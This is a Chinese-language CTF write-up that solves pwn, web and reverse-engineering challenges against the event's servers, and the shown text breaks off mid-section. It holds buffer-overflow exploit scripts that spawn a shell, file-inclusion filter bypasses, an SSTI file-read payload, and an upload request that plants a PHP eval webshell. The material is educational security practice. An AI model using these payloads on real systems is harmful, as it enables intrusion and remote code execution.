babystack 附件:babystack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 int __cdecl main (int argc, const char **argv, const char **envp) { __int16 v4; init_func(argc, argv, envp); start_show(); puts (&s); __isoc99_scanf(v4); vuln(v4); return 0 ; } ssize_t __fastcall vuln (unsigned int a1) { char buf[80 ]; if ( a1 <= 0x7FFFFFFE ) { printf (format); exit (0 ); } puts (&byte_402038); puts (&byte_40205D); return read(0 , buf, 0x8848 uLL); } int backdoor () { return system("/bin/sh" ); }
对于第一个比较,直接输入-1
对于read函数,输入80+8个字符之后再输入需要返回的地址(backdoor)即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *r = remote('43.248.97.213' , 40054 ) elf = ELF('./babystack' ) sysaddr = elf.symbols['backdoor' ] print('0x%x' %sysaddr) r.recv() r.sendline(b'-1' ) r.recv() r.sendline(b'a' *80 + b'b' *8 + p64(sysaddr)) r.interactive()
正常来说这么写没问题,但是运行的时候不会返回shell 原因估计是堆栈平衡之类的问题,解决的方法是直接返回到调用system函数的地址,跳过栈操作
exp
1 2 3 4 5 6 7 8 9 10 11 from pwn import *r = remote('43.248.97.213' , 40054 ) elf = ELF('./babystack' ) r.recv() r.sendline(b'-1' ) sleep(2 ) r.send(b'a' *80 + b'b' *8 + p64(0x4012bf )) r.interactive()
坑
当返回到后门函数行不通的时候,返回到调用system函数的语句
Windows和Linux平台运行同一份exp的结果可能不同
XSCTF{E49AA5B5-B7DA-769B-4AE7-F40A17E09A04}
Badbad_filename GET me a filename and I'll include it!
测试一下发现过滤了php、filter、base、data、file等关键字 然后就搜一堆绕过的方法
如果base被绕过了,可以使用url编码convert往后,resource往前的字符?filename=pHp://filtEr/convert.%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565/resource=
除了测试文件/etc/passwd
之外,如果是nginx,可以考虑读日志/var/log/nginx/access.log
如果读flag.php
,记得先访问一下看看页面是否存在
最后,这道题的解法是最简单的双写绕过?filename=pphphp://filfilterter/convert.basbasee64-encode/resource=flag.pphphp
XSCTF{d0ubLe_Wr1te_2_byPass}
麻了
canyoupassit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file(__FILE__ ); error_reporting(0 ); if ($_POST['a1' ] != $_POST['b1' ] && md5($_POST['a1' ] == md5($_POST['b1' ]))){ echo "恭喜你过了第一关!" ; } else { die ("就这?" ); } if ($_POST['key' ] == md5($_POST['key' ])) { echo "恭喜你过了第二关!" ; } else { die ("再看看?" ); } $now = time(); if ($_POST['a2' ] != $_POST['b2' ] && str_starts_with($_POST['a2' ], $now) && str_starts_with($_POST['b2' ], $now) && md5($_POST['a2' ] === md5($_POST['b2' ]))){ echo "恭喜你过了第三关!" ; include "/flag" ; } else { die ("真可惜,就差最后一步了" ); }
这是一道有关md5绕过的题目,主要分为三个部分
不同值的变量,md5的值是一样的(弱比较) – md5弱碰撞
md5值等于自身的值(弱比较 ) – 0e绕过
不同值的md5是一样的(强比较 ),且要求两个值都有特定前缀
解决的方法如下:
对于弱比较的md5值,可以直接百度特定的值
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a 这些字符串的 md5 值都是 0e 开头,在 php 弱类型比较中判断为相等
对于若比较的$a == md5($a)
,存在0e开头的值md5之后还是0e开头,这样在弱比较中仍然相等,如0e215962017
对于强比较,可以采用md5强碰撞的方式,网上有特定的值可以满足值不同但是md5值相同,但是这里存在另外一个问题,就是这两个值的前缀必须是当前时间,这就需要自己生成特定的两个值,使用fastcoll
工具,可以生成特定前缀的值来满足条件,这个特定前缀就是当前时间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsimport osimport timet = int (time.time()+10 ) with open ('t.txt' , 'w' ) as f: f.write(str (t)) os.system("fastcoll_v1.0.0.5.exe t.txt" ) a2 = open ('t_msg1.txt' , 'rb' ).read() b2 = open ('t_msg2.txt' , 'rb' ).read() url = "http://43.248.97.213:30038/" data = { 'a1' : 's214587387a' , 'b1' : 's155964671a' , 'key' : '0e215962017' , 'a2' : a2, 'b2' : b2, } while 1 : res = requests.post(url, data=data) if 'flag{' in res.text: print(res.text) break
一些要注意的点
特定前缀的时间最好往后调一调,避免因网络问题导致错过时间
生成的两个txt需要以二进制的形式读取
flag{y0v|nDeedReA11yk$nwAb0uTMD5!~_~^_^}
Ezgame 进入是一个小游戏,要求达到非常高的分数
直接玩肯定不现实,于是翻翻js代码 因为不是通过php记录分数的,所以不可以使用POST请求之类的修改分数
入手的思路是通过浏览器控制台访问所有的对象,然后找到存储分数的变量,直接在控制台修改变量 翻了十几份代码之后去控制台查看对象,从全局对象入手,最终找到了这些
看起来像是存储游戏角色的变量 于是直接修改其中的gold和kills以及high_score(不知道改哪个,干脆全改了)
1 {"id" :"o1" ,"ownerId" :null ,"position" :{"x" :359.04999999999956 ,"y" :154.2499999999999 },"size" :{"width" :32 ,"height" :32 },"direction" :{"x" :-1 ,"y" :0 },"facing" :{"x" :-1 ,"y" :0 },"speed" :150 ,"team" :0 ,"hitPoints" :100 ,"damage" :0 ,"spriteSheet" :"characters" ,"spriteX" :0 ,"spriteY" :992 ,"spriteAlign" :false ,"animated" :true ,"animFrameIndex" :0 ,"animNumFrames" :2 ,"animDelay" :200 ,"animElapsed" :16 ,"spawnFrameIndex" :0 ,"spawnFrameCount" :2 ,"spawnFramesX" :0 ,"spawnFramesY" :0 ,"angle" :0 ,"rotateSpeed" :400 ,"rotate" :false ,"worth" :0 ,"ttl" :0 ,"ttlElapsed" :0 ,"alpha" :1 ,"alphaMod" :-1 ,"gibletSize" :"small" ,"cooldown" :false ,"cooldownElapsed" :0 ,"autoFire" :false ,"soundAttacks" :"hero_attacks" ,"soundDamage" :"hero_damage" ,"soundDies" :"hero_dies" ,"alive" :true ,"states" :[{"type" :0 ,"timer" :{"elapsed_ms" :43298 ,"ttl" :0 }},null ,null ],"currentWeaponIndex" :1 ,"collidable" :true ,"bounce" :true ,"piercing" :false ,"achievementId" :null ,"deathsForAchievement" :null ,"ignoreLogDeath" :false ,"damageType" :null ,"drawIndex" :1 ,"moveChangeElapsed" :0 ,"moveChangeDelay" :500 ,"wounds" :15 ,"weapons" :[{"type" :"h_sword" ,"count" :null },{"type" :"h_spear" ,"count" :82 }],"gold" :1000000000 ,"kills" :10000000000 ,"timesWounded" :1 ,"totalDamageTaken" :15 ,"shotsFired" :108 ,"shotsLanded" :65 ,"shotsPerWeapon" :{"h_sword" :28 ,"h_knife" :31 ,"h_spear" :18 },"meatEaten" :0 ,"cheater" :false ,"phase" :0 ,"phaseInit" :false ,"lootTable" :[],"killSwitch" :false ,"type" :"hero" ,"role" :"hero" ,"isMeatboy" :false ,"bloodTimer" :null }
然后返回游戏发现数据没有变化 以为错了,退出去,然后在主界面发现了flag
flag{basju_D0G006706_iajdisaia}
hardphp 进入题目什么都没有,只有一句话尝试大声喊出v我50!!!我就会给你flag
只能扫后台了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ~$ dirsearch -u http://43.248.97.213:30090/ _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927 Output File: /home/xr/.dirsearch/reports/43.248.97.213-30090/-_24-10-28_22-14-33.txt Error Log: /home/xr/.dirsearch/logs/errors-24-10-28_22-14-33.log Target: http://43.248.97.213:30090/ [22:14:33] Starting: [22:14:37] 403 - 223B - /.htaccess.orig [22:14:37] 403 - 225B - /.htaccess.sample [22:14:37] 403 - 223B - /.htaccess.bak1 [22:14:37] 403 - 220B - /.ht_wsr.txt [22:14:37] 403 - 223B - /.htaccess.save [22:14:37] 403 - 224B - /.htaccess_extra [22:14:38] 403 - 221B - /.htaccess_sc [22:14:38] 403 - 223B - /.htaccess_orig [22:14:38] 403 - 214B - /.html [22:14:38] 403 - 219B - /.htpasswds [22:14:38] 403 - 221B - /.htaccessBAK [22:14:38] 403 - 221B - /.htaccessOLD [22:14:38] 403 - 213B - /.htm [22:14:38] 403 - 222B - /.htaccessOLD2 [22:14:38] 403 - 220B - /.httr-oauth [22:14:38] 403 - 223B - /.htpasswd_test [22:15:05] 200 - 304B - /index.php [22:15:05] 200 - 304B - /index.php/login/ [22:15:17] 403 - 222B - /server-status [22:15:17] 403 - 223B - /server-status/ [22:15:25] 200 - 825B - /www.zip Task Completed
扫出来三个,其中www.zip是网站的备份 解压之后发现有个flagflaghhh.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting(0 ); highlight_file(__FILE__ ); $input = $_POST['a' ]; if (isset ($input)) { if (substr($input, 0 , 5 ) == "vme50" and substr($input, -1 , 1 ) == "!" ) { if ($input == "vme50!" ) { die ("Speak a little louder, I can't hear you!" ); } if (preg_match('/vme50.+?!/is' , $input)) { die ("xing bu xing a.Speak much louder!" ); } system("cat /flag" ); } else echo "Bie lai zhan bian!!!" ; }
对传入的a参数有三个条件
以vme50
为开头,以感叹号为末尾
不可以是vme50
不可以满足正则表达式/vme50.+?!/is
,该正则表达式的意思是匹配以vme50
开头,以感叹号为末尾,且数字0后面有若干个零的字符串,一旦匹配到就算失败
/
:正则表达式的开始和结束标记。
vme50
:字面意义上的字符串 “vme50”,表示匹配文本中包含 “vme50” 的部分。
.
:点号(.
)在正则表达式中是一个特殊字符,表示匹配任意单个字符(除了换行符)。
+
:加号(+
)表示前面的字符(在这个例子中是点号 .
)出现一次或多次。
?
:问号(?
)在这里与 +
结合使用,表示前面的字符(点号 .
)出现一次或多次,但尽可能少地匹配,这是一种非贪婪匹配。
!
:感叹号(!
)在这里是一个普通字符,表示匹配文本中包含 !
的部分。
/is
:这是正则表达式的修饰符部分,i
表示不区分大小写,s
表示点号 .
可以匹配任意字符,包括换行符。
仔细观察就会发现条件2和条件3冲突了,因此绕不过preg_match 但是函数preg_match存在一个限制,就是匹配的次数,超过一定次数的匹配会直接返回FALSE,这个限制一般是100万 所以
1 2 3 4 5 6 7 8 9 10 11 import requestsurl = "http://43.248.97.213:30090/flagflagflaghhh.php" data = { 'a' : 'vme50' +'0' *1000000 +'!' } res = requests.post(url=url, data=data) print(res.text)
flag{haHa_tHiS_Is_V_mE50_F1@G}
KFC
主要考点:HTTP header各字段的含义及格式
进入题目连接,除了一张无意义的图片之外就是Are you come from localhost?
猜测修改XFF,即X-Forwarded-For: 127.0.0.1
发包返回Are you jump from KFC's website?(http:****.cn)
猜测修改Referer,搜索kfc的网址https://kfcapp.cn/
,即Referer: https://kfcapp.cn/
发包返回Have you v me 50?
这下不懂了,但是仔细观察发现返回的包中header多了一个money的字段
1 2 3 4 5 6 7 8 9 10 11 12 HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 17:57:44 GMT Server: Apache/2.4.10 (Debian) PHP/5.4.45 X-Powered-By: PHP/5.4.45 money: 0 Vary: Accept-Encoding Content-Length: 106 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html <p style="text-align: center;"><img src="./v50.jpg" alt="" width=132px height=188px> </p>Have you v me 50?
故猜测在header增加一个money的字段,值为50,即money: 50
flag{0k_!_G1v3_Y0u_th3_f1l@g_!_!}
kk园区审核员 善良的出题人组织了一次kk园区的参观活动,现在收集有意向前往的人员信息,提交后工作人员会第一时间审核哦,审核通过还能得到审核的美味曲奇奖励!
填表 - 提交 - 审核cookie 猜测是xss cookie外带
找xss平台
复制payload并填表
提交并返回xss平台看记录
XSS平台-XSS测试网站-仅用于安全免费测试 (xssaq.com)
reallyExpensive 给了十块钱的余额要买好贵的flag 抓包改购买的数目
flag{^==^Y0uG@t$(t]$[r)^u^(e)-F10g!^<>^}
upload_quick 进入页面什么也干不了,没有找到文件上传的路径 文件上传的页面藏在js文件里
根据题目猜测条件竞争
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST /Upl00000000ad.php HTTP/1.1 Host: 43.248.97.213:30014 Content-Length: 331 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Origin: http://43.248.97.213:30014 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY7TKFDA8ZwPEXpcS Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://43.248.97.213:30014/Upl00000000ad.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: JSESSIONID=886AD2DD7B34B204841F70E0D9696242 Connection: keep-alive ------WebKitFormBoundaryY7TKFDA8ZwPEXpcS Content-Disposition: form-data; name="upload_file"; filename="cmd.php" Content-Type: application/octet-stream <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>' ); ?> ------WebKitFormBoundaryY7TKFDA8ZwPEXpcS Content-Disposition: form-data; name="submit" ä¸ä¼ ------WebKitFormBoundaryY7TKFDA8ZwPEXpcS--
重复发包的同时访问这个页面,生成shell.php,然后远程连接就可以了
flag{9d097988-5eae-4c3b-86ac-d9b53ce4f340}
你买车票没 题目是一个登录框,需要输入账号密码,但是好像不是sql注入(因为测不出来) 每次提交都会弹窗xxx,没买车票不能上车!!!
但是在返回的页面中并没有看到js代码或者请求的js文件
一开始以为是使用php动态生成的js代码,但是没有思路 后面经过摸索发现是ssti模板注入,因为每次输入的用户名都会回显,所以可以使用{{ 4-1 }}
这样的输入测试,如果返回3就说明存在ssti模板注入
确定了存在模板注入之后,还要确定怎么写payloadflask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)
payload有很多种,一般是从字符串或者列表出发,向上找基类,然后从基类往下找可以读取文件的函数 这里使用的payload:{{"".__class__.__bases__[0].__subclasses__()[99]['get_data'](0,"/flag")}}
一般到subclasses之后就需要手动找目标函数,然后传入需要读的文件的路径,这里找到的是FileLoader
XSCTF{SsT1_MilKTea_m1LktEa!}
隐秘的backdoor 1 2 3 4 5 6 7 8 9 10 <?php error_reporting(0 ); highlight_file(__FILE__ ); $cmd = $_POST['cmd' ]; if (isset ($_POST['cmd' ])){ phpinfo(); die ("不要这样!TuT" ); } else { $cmd = $_POST['cmd' ]; eval ($cmd); } ?>
查询了很多绕过的方式,还是不行 然后看了看php的版本,查到了这个版本的漏洞
具体上网搜
flag{B@ck_do0r_!_B4ck_d0or_!}
calculate 查壳,发现upx,upx.exe -d calculate.exe
然后扔进ida,发现这么一个函数
百度下叫约束求解(看起来有点像矩阵运算) 1000多行手工提取不实际,写个脚本处理下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 with open ('asd.txt' , 'r' ) as f: content = f.readlines() tmp = '' final = [] for i in content: if "return 0i64;" not in i: tmp += i.strip() else : final.append(tmp) tmp = '' print(final) with open ('tmp1.txt' , 'w' ) as f: for i in final: f.write(i+'\n' )
初步处理之后手动删去前后缀,就得到了公式(字符串版)
然后使用python中一个叫z3的库,专门用来求解这种方程组 其中有一个方法可以将字符串版的方程转换为python可以处理的表达式
以下是一个模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from z3 import * def solver_eng (fc ): solver = Solver() for i in range (len (fc)): solver.add(eval (fc[i])) if solver.check() == sat: ans = solver.model() for i in v: print(chr (ans[i].as_long()), end='' ) else : print("no ans!" ) if __name__ == '__main__' : fc = [] v = [Int(f'v{i} ' ) for i in range (0 , len (fc))] solver_eng(fc)
根据题目修改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from z3 import *with open ('tmp1.txt' , 'r' ) as f: content = f.readlines() def solver_eng (fc ): solver = Solver() for i in range (len (fc)): solver.add(eval (fc[i])) if solver.check() == sat: ans = solver.model() for i in v: print(chr (ans[i].as_long()), end='' ) else : print('Error' ) if __name__ == '__main__' : fc = [] for i in content: fc.append(i.strip()) v = [Int(f'v{i} ' ) for i in range (0 , len (fc))] solver_eng(fc)
flag{n0w_y0u_know_UPX!}
z3求解器脚本(CTF-reverse必备)_ctf z3-CSDN博客
call_above_call 核心代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 // bad sp value at call has been detected, the output may be wrong! int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [esp-14 h] [ebp-90 h] int v5; // [esp-10 h] [ebp-8 Ch] int v6; // [esp-Ch] [ebp-88 h] int v7; // [esp-8 h] [ebp-84 h] int v8; // [esp-4 h] [ebp-80 h] int v9; // [esp+0 h] [ebp-7 Ch] int v10; // [esp+4 h] [ebp-78 h] int i; // [esp+4 h] [ebp-78 h] int v12; // [esp+8 h] [ebp-74 h] char s[100 ]; // [esp+Ch] [ebp-70 h] BYREF unsigned int v14; // [esp+70 h] [ebp-Ch] int *p_argc; // [esp+74 h] [ebp-8 h] p_argc = &argc; v14 = __readgsdword(0x14 u); v12 = generate(); printf("input your key:" ); ((void (__stdcall *)(const char *, char *, int , int , int , int , int , int , int , int ))__isoc99_scanf)( "%s" , s, v4, v5, v6, v7, v8, 1 , v10, v12); if ( strlen(s) != 25 ) { printf("Sorry!" ); exit(0 ); } wuhuwuhu((int )s); for ( i = 0 ; i <= 24 ; ++i ) { if ( s[i] != *(_BYTE *)(enc + i) ) { v9 = 0 ; break ; } } if ( v9 ) printf("Congratulations!" ); else printf("try again!" ); end_m(p_argc); return 0 ; }
1 2 3 4 5 6 7 8 int __cdecl wuhuwuhu(int a1){ int i; // [esp+8 h] [ebp-Ch] for ( i = 0 ; i <= 23 ; ++i ) *(_BYTE *)(i + a1) ^= *(_BYTE *)(i + 1 + a1); return a1; }
主要逻辑:接收输入然后循环异或输入(元素1和元素2异或的结果替换元素1),然后和目标数组比较,但是目标数组是动态的,因此需要动态调试 拿到目标数组后反过来异或就可以了
exp
1 2 3 4 5 6 7 s = [0x0A , 0x0D , 0x06 , 0x1C , 0x4B , 0x49 , 0x17 , 0x5A , 0x59 , 0x04 , 0x0A , 0x3C , 0x3B , 0x57 , 0x51 , 0x17 , 0x12 , 0x38 , 0x26 , 0x00 , 0x1D , 0x17 , 0x52 , 0x5C , 0x7D ] for i in range (len (s)): s[len (s)-2 -i] = s[len (s)-2 -i] ^ s[len (s)-1 -i] for i in s: print(chr (i), end='' )
flag{0yn4mic_d3bug_yyds!}
cube3 题目描述
你玩过三阶魔方吗,你能看懂R U R’ U’这样的公式吗,这里有4个魔方等你来还原
公式(步骤)格式例如R U’ R U R U R U’ R’ U’ R2’ <回车>,每步操作用空格分开,逆时针加上’字符
flag格式为xsctf{formula},其中formula为4个魔方的还原步骤依次连在一起,去掉空格,取其md5
本题在Ubuntu22下编译,请不要使用ubuntu18
6个面,一共24种旋转操作,分析时需要对号入座
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 int __cdecl main (int argc, const char **argv, const char **envp) { char v4; int v5; char v6[160 ]; int v7[40 ]; char v8[160 ]; int v9[114 ]; unsigned __int64 v10; v10 = __readfsqword(0x28 u); cube_init((__int64)v9); print_menu(v9, argv); v4 = getchar(); getchar(); if ( v4 <= '0' || v4 > 52 ) { if ( v4 == 53 ) puts ("bye!" ); else puts ("error!" ); } else { formula_get_by_id((__int64)v6, v4 - 48 ); cube_scramble((__int64)v9, (__int64)v6); cube_print((unsigned int *)v9); v5 = 0 ; formula_input((char *)v7); while ( v7[v5] != 24 ) cube_rotating((__int64)v9, v7[v5++]); cube_print((unsigned int *)v9); formula_reverse(v7, v8); if ( !(unsigned int )cube_isorigin(v9) || (unsigned int )formula_cmp(v6, v8) ) { if ( (unsigned int )cube_isorigin(v9) && (unsigned int )formula_cmp(v6, v8) ) puts ("Restore successfully!!!But not reverse!!!" ); else puts ("Restore failed!!!" ); } else { puts ("Restore successfully!!!You reversed the formula!!!" ); } } printf ("press anykey to continue..." ); getchar(); return 0 ; }
运行是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 ~$ ./cube3 三阶魔方 _______________________________________________ | | | 请输入编号: | | 1.打乱1 2.打乱2 | | 3.打乱3 4.打乱4 | | 5.退出程序 | | | | | ----------------------------------------------- 请输入编号[1/2]:4 ________________ | 2 | 3 | 3 | +----+----+----+ | 2 | 4 | 4 | +----+----+----+ | 5 | 3 | 6 | +----+----+----+ / 4 / 5 / 1 /| /____/____/____/ | / 1 / 1 / 6 /|3+ /____/____/____/ |/| / 3 / 5 / 1 /|1|1| ______________/____/____/____/4|/|/| | 1 | 5 | 5 | 2 | 4 | 6 |/|6+1| +---+----+----+----+----+----+6|/|/ | 5 | 5 | 2 | 6 | 3 | 3 |/|6+ +---+----+----+----+----+----+2|/ | 6 | 2 | 3 | 6 | 3 | 5 |/ +---+----+----+----+----+----+ | 2 | 1 | 4 | +----+----+----+ | 4 | 2 | 4 | +----+----+----+ | 4 | 2 | 5 | +----+----+----+ Enter a formula and separate each step with a space Tip: The format of the operation is like R2 R2' R ['] represents a counterclockwise rotation >>>
需要输入魔方的公式【初级篇】三阶魔方入门教程 - 知乎 (zhihu.com)
要还原魔方,最简单的方法是反着拧 要反着拧,就要找到打乱的顺序
ida大部分函数看不懂没关系,可以凭感觉找到存储打乱顺序的变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 unsigned __int64 __fastcall formula_get_by_id (__int64 a1, int a2) { int i; int v4[162 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); memset (v4, 0 , 0x280 uLL); v4[0 ] = 23 ; v4[1 ] = 3 ; v4[2 ] = 4 ; v4[3 ] = 8 ; v4[4 ] = 18 ; v4[5 ] = 9 ; v4[6 ] = 12 ; v4[7 ] = 18 ; v4[8 ] = 13 ; v4[9 ] = 7 ; v4[10 ] = 20 ; v4[11 ] = 11 ; v4[12 ] = 13 ; v4[13 ] = 22 ; v4[14 ] = 14 ; v4[15 ] = 6 ; v4[16 ] = 8 ; v4[17 ] = 18 ; v4[18 ] = 4 ; v4[19 ] = 14 ; v4[20 ] = 24 ; v4[40 ] = 6 ; v4[41 ] = 22 ; v4[42 ] = 7 ; v4[43 ] = 13 ; v4[44 ] = 1 ; v4[45 ] = 4 ; v4[46 ] = 2 ; v4[47 ] = 8 ; v4[48 ] = 22 ; v4[49 ] = 19 ; v4[50 ] = 6 ; v4[51 ] = 10 ; v4[52 ] = 19 ; v4[53 ] = 21 ; v4[54 ] = 19 ; v4[55 ] = 7 ; v4[56 ] = 17 ; v4[57 ] = 8 ; v4[58 ] = 7 ; v4[59 ] = 12 ; v4[60 ] = 24 ; v4[80 ] = 5 ; v4[81 ] = 15 ; v4[82 ] = 19 ; v4[83 ] = 2 ; v4[84 ] = 5 ; v4[85 ] = 17 ; v4[86 ] = 12 ; v4[87 ] = 9 ; v4[88 ] = 7 ; v4[89 ] = 12 ; v4[90 ] = 18 ; v4[91 ] = 5 ; v4[92 ] = 12 ; v4[93 ] = 3 ; v4[94 ] = 11 ; v4[95 ] = 14 ; v4[96 ] = 5 ; v4[97 ] = 18 ; v4[98 ] = 6 ; v4[99 ] = 22 ; v4[100 ] = 24 ; v4[120 ] = 20 ; v4[121 ] = 12 ; v4[122 ] = 7 ; v4[123 ] = 21 ; v4[124 ] = 14 ; v4[125 ] = 23 ; v4[126 ] = 19 ; v4[127 ] = 13 ; v4[128 ] = 3 ; v4[129 ] = 18 ; v4[130 ] = 7 ; v4[131 ] = 3 ; v4[132 ] = 0x16 ; v4[134 ] = 8 ; v4[135 ] = 1 ; v4[136 ] = 0x12 ; v4[137 ] = 7 ; v4[138 ] = 0x12 ; v4[139 ] = 0xB ; v4[140 ] = 0x18 ; for ( i = 0 ; v4[40 * a2 - 40 + i] != 24 ; ++i ) *(_DWORD *)(a1 + 4L L * i) = v4[40 * a2 - 40 + i]; *(_DWORD *)(4L L * i + a1) = 24 ; return v5 - __readfsqword(0x28 u); }
因为题目说一共有24种操作,刚好是v4元素的取值范围-1 减一的原因是因为有四个魔方,最大的元素(24)的作用类似分隔符,通过主函数的while语句也可以判断出来,而且整个v4数组刚好被值为24的元素分隔成4部分,刚好对应4个魔方
因此可以将这些元素提取出来(有坑),然后映射到对应的公式,再反着输出就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 s = open ('./tmp.txt' , 'r' ).readlines() print(len (s)) ss = [] for i in s: num = '' for j in range (len (i)): if i[j] == '=' : num = i[j+1 :-2 ] ss.append(int (num)) rotate = [ 'U' , 'U\'' , 'U2' , 'U2\'' , 'D' , 'D\'' , 'D2' , 'D2\'' , 'F' , 'F\'' , 'F2' , 'F2\'' , 'B' , 'B\'' , 'B2' , 'B2\'' , 'L' , 'L\'' , 'L2' , 'L2\'' , 'R' , 'R\'' , 'R2' , 'R2\'' ] for i in ss: if i == 24 : print() else : print(rotate[i], end=' ' ) for i in range (len (ss)-1 , -1 , -1 ): if ss[i] == 24 : print() else : if '\'' in rotate[ss[i]]: print(rotate[ss[i]-1 ], end=' ' ) else : print(rotate[ss[i]+1 ], end=' ' ) print() sss = ''' B2' D' L2' F' D2' B2' R2' B F2 R' D2 B L2' B' F L2' F' D' U2 R2 B' D2 F' L D2 L2 R L2 F2' D2' L2 R2' F' U2' D' U B D2 R2' D2' R2' D2' L2' D B2' F2 U2 B' D L2' B' D2 F B' L D U2' L2 B2 D F2 L2' D2 L2' U F' U' R2' U2 D2 L2' U2 B L2 R2 B2' R D2 B' R' ''' ssss = '' for i in sss: if i != ' ' and i != '\n' : ssss += i print(ssss)
这样就可以得到四个魔方的解法,可以使用程序验证,最后再将解法按照题目要求处理就行
xsctf{0a15a3168e6bf08df8178186312b0396}
坑
v4数组的定义种少了一个元素v4[133]
,需要动态调试得到这个元素的值
因为是4个魔方一起反着输出,所以第一个魔方的解法应该对应第四行的输出
最后串起来的时候是第一个魔方的解法+第二个魔方的解法...
,即第四行+第三行+…
easy_xor 核心代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; char v4; int v5; char v7; char v8; int v9; int i; int v11; _main(); v11 = 0 ; v9 = 0 ; puts ("Please input your flag:" ); while ( 1 ) { v8 = getchar(); if ( v8 == 10 ) break ; v7 = key[v9 % 4 ] ^ v8; while ( 1 ) { v4 = v7--; if ( v4 <= 0 ) break ; v3 = v11++; s[v3] = 1 ; } v5 = v11++; s[v5] = 0 ; ++v9; } while ( v11 <= 2559 ) s[v11++] = -1 ; for ( i = 0 ; i <= 2559 ; ++i ) { if ( r[i] != s[i] ) { puts ("Lose lose lose!" ); break ; } } if ( i == 2560 ) puts ("Win win win!" ); system("pause" ); return 0 ; }
其中数组r是在运行时生成的,因此需要使用动态调试
大概的逻辑是:
接收输入直到回车符
计算每个字符异或的结果
异或的结果是多少,就在数组中添加多少个1,然后添加一个0
对比两个数组的差异
因此解密的逻辑就是
拿到目标数组
遍历数组中1的个数,直到遇到数字0
将以上1的个数循环异或key的元素
转换为字符输出
重复2到4,直到遇到-1
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 s = [...] ch = [] key_index = 0 key = 'SCNU' c = 0 for i in s: if i == 1 : c += 1 elif i == 0 : ch.append(chr (c^ord (key[key_index%4 ]))) key_index += 1 c = 0 else : break print('' .join(ch))
flag{Winn3r_n0t_L0s3r_#}
eazy_64x 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; int i; int v7; int v8; char *v9; char dest[4 ]; char s[104 ]; unsigned __int64 v12; v12 = __readfsqword(0x28 u); memset (s, 0 , 0x64 uLL); __isoc99_scanf(&unk_222C, s); v7 = strlen (s); if ( v7 == 20 ) { v4 = 0 ; v5 = 0 ; while ( v7 / 3 >= v4 ) { memset (dest, 0 , sizeof (dest)); memcpy (dest, &s[v5], 3u LL); v9 = encrypt(dest); v8 = strlen (v9); get_trans(v9); for ( i = 0 ; i < v8; ++i ) { if ( v9[i] != glob[4 * v4 + i] ) { puts ("Oh,no!" ); return 0 ; } } free (v9); ++v4; v5 += 3 ; } printf ("Good!" ); return 0 ; } else { printf ("sorry!" ); return 0 ; } }
